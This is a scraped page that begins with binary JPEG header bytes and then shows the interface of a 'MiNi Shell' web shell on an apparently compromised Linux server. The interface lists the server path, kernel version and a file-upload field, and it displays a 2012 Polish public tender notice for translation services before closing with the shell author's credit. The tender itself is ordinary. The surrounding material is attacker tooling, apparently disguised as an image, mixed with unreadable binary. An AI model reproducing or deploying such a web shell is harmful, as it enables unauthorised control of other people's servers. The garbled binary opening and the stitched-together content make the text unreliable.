JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20120521/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20120521/112335-N-2012.html

<p class="kh_header"><b>Warszawa: Kompleksowe usługi tłumaczeń na potrzeby IERIGŻ-PIB</b><br>
<b>Numer ogłoszenia: 112335 - 2012; data zamieszczenia: 21.05.2012</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Instytut Ekonomiki Rolnictwa i Gospodarki Żywnościowej Państwowy Instytut Badawczy , ul. Świętokrzyska 20, 00-002 Warszawa, woj. mazowieckie, tel. 022 50 54 444, faks 022 8271960.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.ierigz.waw.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: państwowy instytut badawczy.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Kompleksowe usługi tłumaczeń na potrzeby IERIGŻ-PIB.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 3.1 Przedmiotem zamówienia jest świadczenie kompleksowych usług tłumaczeń. Przedmiot zamówienia został podzielony na dwa zadania.</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> tak.</p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li><li>Zamawiający przewiduje udzielenie zamówień uzupełniających, o których mowa w art. 67 ust. 1 pkt 6 ustawy Prawo zamówień publicznych, stanowiących nie więcej niż 50% wartości zamówienia podstawowego i polegających na powtórzeniu tego samego rodzaju zamówień.</li></ul>
<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8, 79.54.00.00-1.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 2.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 15.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiający żąda wniesienia wadium w wysokości:

Zadanie I -  2 500,00 zł (słownie: dwa tysiące pięćset złotych).
Zadanie II -  900,00 zł (słownie: dziewięćset złotych)</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna, że Wykonawca posiada niezbędne doświadczenie, jeżeli wykaże, iż jako Wykonawca w ciągu ostatnich 3 lat wykonał minimum 3 usługi odpowiadające swoim rodzajem zamówieniu określonemu w pkt. 3 i o wartości nie mniejszej niż 70 000,00 złotych brutto każda (dotyczy tłumaczeń pisemnych), i o wartości nie mniejszej niż 35 000,00 złotych brutto każda (dotyczy tłumaczeń ustnych symultanicznych).</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna, że Wykonawca spełnia warunek w zakresie dysponowania  osobami zdolnymi do wykonania zamówienia, jeżeli wykaże, że:
- w zakresie tłumaczeń pisemnych dysponuje przynajmniej trzema tłumaczami, którzy posiadają min. 3 letnie doświadczenie zawodowe (w tym doświadczenie w wykonywaniu usług tłumaczenia w obszarach tematycznych wskazanych przez Zamawiającego) do realizacji niniejszego zamówienia i dysponują minimum jednym tłumaczem native speakerem, 
- w zakresie tłumaczeń ustnych (symultanicznych) dysponuje sprzętem do obsługi kilkudniowych konferencji na około 100- 120 osób oraz dysponują przynajmniej trzema tłumaczami, którzy posiadają min. 3 letnie doświadczenie zawodowe (w tym doświadczenie w wykonywaniu usług tłumaczenia w obszarach tematycznych wskazanych przez Zamawiającego) do realizacji niniejszego zamówienia.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych dla wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego naczelnika urzędu skarbowego potwierdzające, że wykonawca nie zalega z opłacaniem podatków  lub zaświadczenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego oddziału Zakładu Ubezpieczeń Społecznych lub Kasy Rolniczego Ubezpieczenia Społecznego potwierdzające, że wykonawca nie zalega z opłacaniem składek na ubezpieczenie zdrowotne i społeczne, lub potwierdzenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu -  wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

<li style="margin-bottom: 12px;">nie zalega z uiszczaniem podatków, opłat, składek na ubezpieczenie społeczne i zdrowotne albo że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawiony nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>
<p class="bold">III.6) INNE DOKUMENTY</p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>1) Oświadczenie Wykonawcy o spełnieniu warunków określonych w art. 22 ust. 1    ustawy Pzp - Oświadczenie Wykonawcy - załącznik nr 2 do SIWZ.
2) Pełnomocnictwo do reprezentowania, o ile ofertę składa pełnomocnik.
3) Dowód wniesienia wadium.</p>
<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Zamawiający dopuszcza możliwość zmian zawartej umowy w następujących okolicznościach:
a) w przypadku zmiany adresu , nazwy, statusu firmy (Wykonawcy),
b) w przypadku urzędowej zmiany wysokości stawki Vat poprzez  wprowadzenie nowej stawki Vat dla towarów i usług, których ta zmiana będzie dotyczyć.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.ierigz.waw.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Instytut Ekonomiki Rolnictwa i Gospodarki Żywnościowej
- Państwowy Instytut Badawczy
00-002 Warszawa
ul. Świętokrzyska 20
pokój 115.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 29.05.2012 godzina 10:00, miejsce: Instytut Ekonomiki Rolnictwa i Gospodarki Żywnościowej
- Państwowy Instytut Badawczy
00-002 Warszawa
ul. Świętokrzyska 20
Pokój 212.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> ZADANIE I - Tłumaczenia pisemne.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 3.2.1.Przedmiotem zamówienia  są usługi tłumaczeń pisemnych z języka polskiego na język obcy i z języka obcego na język polski oraz weryfikacja tłumaczeń w podanych niżej językach przez native speakera. Tłumaczenia dotyczą następujących języków:
a) angielski,
b) niemiecki,
c) rosyjski,
d) francuski
e) bułgarski.

3.2.2. Tematyka tłumaczeń dotyczy: rozwoju rolnictwa i obszarów wiejskich w aspekcie członkostwa Polski w Unii Europejskiej i obejmuje tematykę związaną z ekonomiką rolnictwa tj. z ekonomicznymi aspektami produkcji rolnej i przetwórstwa rolno-spożywczego, funkcjonowaniem rynków rolno-żywnościowych, analizą ekonomiczną i finansami rolnictwa, makro i mikroekonomią w zakresie rolnictwa oraz problematyką związaną z rozwojem obszarów wiejskich: badaniami społecznymi i demograficznymi, studiami regionalnymi, ekonomią z użyciem terminologii używanej w Unii Europejskiej w badaniach nad wspólną polityką rolną i rybacką, polityką regionalną, polityką spójności, funduszami strukturalnymi, w tym szczególnie z Programem Rozwoju Obszarów Wiejskich i Sektorowymi Programami Operacyjnymi z wykorzystaniem terminologii związanej z rolnictwem z zakresu statystyki, ekonometrii, teorii ekonomii.

3.2.3. Wykonawca jest zobowiązany do posługiwania się w tłumaczeniach terminologią powszechnie używaną przez doktrynę w dziedzinie ekonomiki rolnictwa, terminologią używaną w oficjalnych dokumentach Unii Europejskiej oraz polskiej administracji rządowej i samorządowej.

3.2.4. W ramach umowy na tłumaczenia pisemne przewiduje się tłumaczenie oraz weryfikację przez native speakera   publikacji naukowych (abstraktów, artykułów, analiz, opracowań, esejów, monografii) oraz unijnych aktów prawnych i podręczników metodologicznych z języka polskiego na języki obce i z języków obcych na język polski w trybach zwykłym i przyśpieszonym.

3.2.5. Weryfikacja polega na porównaniu dostarczonego przez Zamawiającego tłumaczenia z tekstem oryginalnym i wprowadzeniu odpowiednich poprawek. Weryfikacja merytoryczna obejmuje sprawdzenie prawidłowego zastosowania terminologii specjalistycznej. Weryfikacja językowa dotyczy sprawdzenia poprawności językowej tekstu, ujednolicenia stosowanej terminologii. Wykonawca zobowiązany jest dostarczyć Zamawiającemu zweryfikowane tłumaczenie z naniesionymi poprawkami oraz wykaz poprawek, które zostały wprowadzone do tłumaczenia.

3.2.6. Tłumaczenie pisemne obejmowało będzie do 3300 stron oraz do 300 stron weryfikacji tekstów.

3.2.7. Wykonawca zobowiązuje się do wykonywania usług na podstawie i zgodnie z zamówieniami przesyłanymi przez Zamawiającego w formie pisemnej lub pocztą elektroniczną potwierdzoną niezwłocznie w formie pisemnej. Zlecenie usługi następować będzie za pomocą druku zamówienia, w którym każdorazowo określony będzie termin i tryb wykonania usługi. Wzór zamówienia określa załącznik nr 2 do umowy.

3.2.8. Wykonawca jest zobowiązany każdorazowo podać Zamawiającemu nazwisko i imię osoby realizującej pojedyncze zlecenie (osoba z listy podanej w ofercie).

3.2.9. Jednostką rozliczeniową jest strona przeliczeniowa. Jedna (1) strona przeliczeniowa  przetłumaczonego tekstu zawiera 1800 znaków ze spacjami, przy czym liczba znaków jest sumowana i przeliczona na strony. Łączna liczba stron liczona jest z dokładnością do 0,50 strony przeliczeniowej (tzn. do  900 znaków liczone jest jako 0,5 strony przeliczeniowej, a powyżej 900 znaków  liczona jest cała strona przeliczeniowa).

3.2.10. Tekst zawarty w tabelach, wykresach, diagramach, schematach i polach tekstowych będzie liczony za pomocą narzędzi do automatycznego podliczania (MS Word) znaków w przypadku, gdy istnieje fizyczna możliwość ich zastosowania. W razie, gdy użycie narzędzi do podliczenia znaków w wyszczególnionych przypadkach jest niemożliwe, jedna strona fizyczna (A4) tłumaczenia liczona będzie jako strona przeliczeniowa.
Liczba znaków tłumaczenia stanowiąca podstawę do wypłaty wynagrodzenia w ramach danego polecenia nie obejmuje niepodlegających tłumaczeniu jednolitych bloków danych liczbowych) teleadresowych (z wyłączeniem nagłówków wierszy i kolumn), nazw własnych nie mających swego odpowiednika w języku obcym lub zwyczajowo nie tłumaczonych. Tekst na rysunkach i wykresach tłumaczony jest bezpośrednio na rysunku, jeśli istnieje możliwość jego edycji, lub bezpośrednio pod nim w przypadku, gdy edycja tekstu jest niemożliwa, według schematu: -słowo-fraza oryginalna - słowo-fraza przetłumaczona.
3.2.11. Warunki realizacji tłumaczeń:
1) tłumaczenie w trybie zwykłym - do 15 stron dziennie,
2) tłumaczenie w trybie przyśpieszonym - powyżej 15 stron dziennie,
3) weryfikacja w trybie zwykłym  - do 15 stron dziennie,
4) weryfikacja w trybie przyśpieszonym  - powyżej 15 stron dziennie. 

3.2.12. Stawka za 1stronę tłumaczenia lub weryfikacji w trybie przyśpieszonym będzie równa stawce podstawowej (jak w trybie zwykłym) powiększonej o 50%.

3.2.13. W ramach świadczonych usług Wykonawca zobowiązuje się do zachowania układu graficznego oryginału, odtwarzania tabel i wykonywania innych prac edytorskich związanych z zachowaniem szaty graficznej oryginału.

3.2.14. Wykonawca zobowiązany będzie do weryfikacji stylistycznej, ortograficznej i gramatycznej przetłumaczonego tekstu przed przekazaniem Zamawiającemu.
3.4.   Zakres zamówienia może być pomniejszony o 30 % ogólnej wartości zamówienia.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 15.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> ZADANIE II  - tłumaczenia ustne - symultaniczne.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 3.3.1. Przedmiotem zamówienia  są usługi tłumaczeń ustnych symultanicznych z języka polskiego na język angielski i z języka angielskiego na język polski. 

3.3.2. Tematyka tłumaczeń dotyczy: rozwoju rolnictwa i obszarów wiejskich w aspekcie członkostwa Polski w Unii Europejskiej i obejmuje tematykę związaną z ekonomiką rolnictwa tj. z ekonomicznymi aspektami produkcji rolnej i przetwórstwa rolno-spożywczego, funkcjonowaniem rynków rolno-żywnościowych, analizą ekonomiczną i finansami rolnictwa, makro i mikroekonomią w zakresie rolnictwa oraz problematyką związaną z rozwojem obszarów wiejskich: badaniami społecznymi i demograficznymi, studiami regionalnymi, ekonomią z użyciem terminologii używanej w Unii Europejskiej w badaniach nad wspólną polityką rolną i rybacką, polityką regionalną, polityką spójności, funduszami strukturalnymi, w tym szczególnie z Programem Rozwoju Obszarów Wiejskich i Sektorowymi Programami Operacyjnymi z wykorzystaniem terminologii związanej z rolnictwem z zakresu statystyki, ekonometrii, teorii ekonomii.

3.3.3. W ramach umowy na tłumaczenia ustne przewiduje się obsługę międzynarodowych konferencji, seminariów i spotkań konsultacyjnych.

3.3.4. W ramach tłumaczeń ustnych Wykonawca zobowiązuje się do realizacji tłumaczeń kabinowych (symultanicznych) przez dwóch wykwalifikowanych tłumaczy.

3.3.5. Jednostką rozliczeniową jest każda rozpoczęta godzina zegarowa tłumaczenia symultanicznego (pracy dwóch tłumaczy). Przez 1 godzinę tłumaczenia ustnego symultanicznego rozumie się 60 minut pracy dwóch tłumaczy (łącznie) przy użyciu właściwego sprzętu zapewnionego przez Wykonawcę, zgodnie z pkt 3.3.8. SIWZ.

3.3.6. Zamawiający przewiduje 3 konferencje dla 100-120 osób - w czasie każdej konferencji po ok. 18 godzin tłumaczeń symultanicznych - łącznie około 54 godzin tłumaczeń symultanicznych. 

3.3.7. W przypadku tłumaczeń ustnych wyjazdowych (poza Warszawą), koszty zakwaterowania w pokojach dwu osobowych i wyżywienia dwóch tłumaczy oraz maksymalnie dwóch osób obsługi technicznej będą finansowane przez Zamawiającego. Całkowite koszty dojazdu tłumaczy i osób sprawujących obsługę techniczną do miejsca i z miejsca  świadczenia usługi ponosi Wykonawca.

3.3.8. Wykonawca musi zapewnić w pełnym zakresie kompletny sprzęt do właściwego (profesjonalnego) wykonania  tłumaczenia symultanicznego wraz z nagłośnieniem sali konferencyjnej oraz rejestrację zapisu tłumaczenia na nośniku cyfrowym, w miejscu wskazanym przez Zamawiającego. Przewiduje się udział w każdej konferencji 100 -120 osób

3.3.9. Wraz ze sprzętem Wykonawca zobowiązany jest zapewnić na własny koszt obsługę techniczną odpowiedzialną za instalację, konfigurację, montaż i demontaż sprzętu oraz nadzór techniczny podczas trwania konferencji. 

3.3.10. Wykonawca jest zobowiązany zapewnić na własny koszt transport całości sprzętu do i z miejsca, w którym organizowana jest konferencja. Sprzęt musi być doprowadzony do pełnej funkcjonalności i użyteczności na wskazanej sali konferencyjnej na co najmniej 1 godzinę przed rozpoczęciem konferencji tj. podłączony, sprawdzone jego działanie, przygotowane stanowisko od wydawania i odbierania słuchawek. 

3.3.11. Zamawiający zaplanował 3 konferencje, na których Wykonawca świadczył będzie usługi tłumaczenia symultanicznego w następujących terminach:

 1) 18-20 czerwca 2011  w Kazimierzu Dolnym,
 2) pierwsza połowa grudnia 2012 r. (dokładny termin i lokalizacja będzie wskazana na 30 dni przed rozpoczęciem konferencji),
3) w 2013 roku - czerwiec (dokładny termin i lokalizacja będzie wskazana na 30 dni przed rozpoczęciem konferencji).

3.3.12. Rozliczenie za tłumaczenie symultaniczne nastąpi po wykonaniu usługi i przekazaniu przez Wykonawcę Zamawiającemu oczyszczonego z szumów zapisu audio tłumaczenia konferencji w dwóch wersjach językowych, na podstawie podpisanego protokołu potwierdzającego liczbę godzin tłumaczy. 

3.4. Zakres zamówienia może być pomniejszony o 30 % ogólnej wartości zamówienia.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.54.00.00-1.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 15.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com